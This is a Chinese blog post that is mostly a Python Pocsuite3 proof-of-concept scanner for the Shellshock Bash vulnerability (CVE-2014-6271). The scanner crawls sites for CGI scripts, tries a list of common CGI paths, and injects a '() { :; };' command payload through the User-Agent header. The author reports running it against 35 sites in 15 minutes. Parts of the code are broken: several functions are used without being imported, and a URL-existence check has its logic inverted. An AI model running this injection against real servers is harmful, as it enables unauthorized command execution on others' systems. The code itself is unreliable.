Pocsuite3--编写破壳CVE-2014-6271_Shellshock的POC

前言

编写破壳CVE-2014-6271_Shellshock的POC,把公开出来的路径封装起来，作为Pocsuite3的验证POC

情况1：网站无法访问，返回失败

情况2：网站可以访问，无漏洞

情况3：网站可以访问，有漏洞

优先获取网站本身的cgi路径，如果没有，就用自带的cgi路径测试。

代码

15分钟，35个站点

#!/usr/bin/env python
# coding: utf-8
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, logger
import random
import string
import re

dict = ["/cgi-bin/load.cgi",
        "/cgi-bin/gsweb.cgi",
        "/cgi-bin/redirector.cgi",
        "/cgi-bin/help.cgi",
        "/cgi-bin/about.cgi",
        "/cgi-bin/vidredirect.cgi",
        "/cgi-bin/click.cgi",
        "/cgi-bin/details.cgi",
        "/cgi-bin/log.cgi",
        "/cgi-bin/viewcontent.cgi",
        "/cgi-bin/content.cgi",
        "/cgi-bin/admin.cgi",
        "/cgi-bin/webmail.cgi",
        "/cgi-bin/authLogin.cgi",
        "/cgi-sys/entropysearch.cgi",
        "/cgi-sys/defaultwebpage.cgi",
        "/cgi-mod/index.cgi",
        "/cgi-bin/poc.cgi",
        "/cgi-bin/test.cgi",
        "/cgi-mod/index.cgi"
        ]

class DemoPOC(POCBase):
    vulID = \'0\'
    version = \'1\' 
    author = \'shenyi\' 
    vulDate = \'2014-10-16\' 
    createDate = \'2014-10-16\'
    updateDate = \'2014-10-16\'
    references = [\'https://www.invisiblethreat.ca/2014/09/cve-2014-6271/\'] 
    name = \'Bash 4.3 远程命令执行漏洞 POC\'
    appPowerLink = \'http://www.gnu.org/software/bash/\'
    appName = \'Bash\'
    appVersion = \'3.0-4.3#\'
    vulType = \'Command Execution\'
    desc = \'\'\'
            Bash 在解析环境变量时，会解析函数，同时可以运行函数后的语句，造成命令执行。
            \'\'\'
    samples = []
    install_requires = []


    def _verify(self):
        result = {}
        vul_url_result = "" # 存放漏洞结果的URL
        try:
            vul_url = get_url_need(self.url)

            if not vul_url:                              # 网站不存活状态，直接返回
                result[\'VerifyInfo\'] = {}
                result[\'VerifyInfo\'][\'URL\'] = vul_url_result
                return self.parse_output(result)
            elif vul_url.endswith("/123456_test.cgi"):   # 未获取网页中的cgi链接状态
                pass
            else:                                        # 获取.cgi、.sh链接
                dict.insert(0,vul_url)
            random_str = \'\'.join(random.sample(string.ascii_letters + string.digits, 50))
            headers_fake = {}
            headers_fake[\'User-Agent\'] = \'() { :; }; echo; echo X-Bash-Test: %s\' % random_str
            for url_path in dict:
                try:
                    test_url = self.url + url_path
                    # response = requests.get(vul_url, headers=headers_fake)
                    response = requests.get(test_url, headers=headers_fake)
                    response = response.text
                    if \'X-Bash-Test: %s\' % random_str == response.split(\'\n\')[0]:
                        vul_url_result = test_url
                except:
                    pass
            result[\'VerifyInfo\'] = {}
            result[\'VerifyInfo\'][\'URL\'] = vul_url_result
        except Exception as e:
            logger.exception(e)
        return self.parse_output(result)

    def parse_output(self, result):
        output = Output(self)
        if result[\'VerifyInfo\'][\'URL\']:
            output.success(result)
        else:
            output.fail(\'target is not vulnerable\')
        return output

    def _attack(self):
        return self._verify()

    def _shell(self):
        pass


def get_url(url):
    try:
        return requests.get(url).url
    except:
        return url



def get_url_need(url):
    url_need = None

    if not url.startswith(\'http\'):
        url = \'http://%s\' % url
    # 判断字符串是否以指定后缀结尾，如果以指定后缀结尾返回True，否则返回False。
    if url.endswith(\'.cgi\') or url.endswith(\'.sh\'):
        url_need = url
        return url_need
    # 验证HTTP有效性
    try:
        url = requests.get(url,timeout=10).url
    except:
        print("error : {}".format(url))  # 出错直接返回
        return ""
    # 获取主页连接
    url_need = get_link(url)
    # 如果没有获取到链接就使用自定义的CGI路径测试
    if not url_need:
        url_need =  url + "/123456_test.cgi"

    info = url_need
    # print info
    return info


def get_link(url):
    rnt = \'\'
    try:
        page_content = requests.get(url).text
        match = re.findall(r\'\'\'(?:href|action|src)\s*?=\s*?(?:"|\')\s*?([^\'"]*?\.(?:cgi|sh|pl))\'\'\', page_content)
        for item_url in match:
            if not item_url.startswith(\'http\'):
                item_url = getAbsoluteURL(url, item_url)
            if not is_url_exist(item_url):
                continue
            if isSameDomain(item_url, url):
                rnt = item_url
                break
        return rnt
    except  Exception as e:
        # raise e
        return rnt


def getAbsoluteURL(base, url):
    url1 = urljoin(base, url)
    arr = urlparse(url1)
    path = normpath(arr[2])
    return urlunparse((arr.scheme, arr.netloc, path, arr.params, arr.query, arr.fragment))


def is_url_exist(url):
    try:
        resp = requests.get(url)
        if resp.status_code == 404:
            return True
    except Exception as e:
        pass
    return False


def isSameDomain(url1, url2):
    try:
        if urlparse(url1).netloc.split(\':\')[0] == urlparse(url2).netloc.split(\':\')[0]:
            return True
        else:
            return False
    except:
        return False


register_poc(DemoPOC)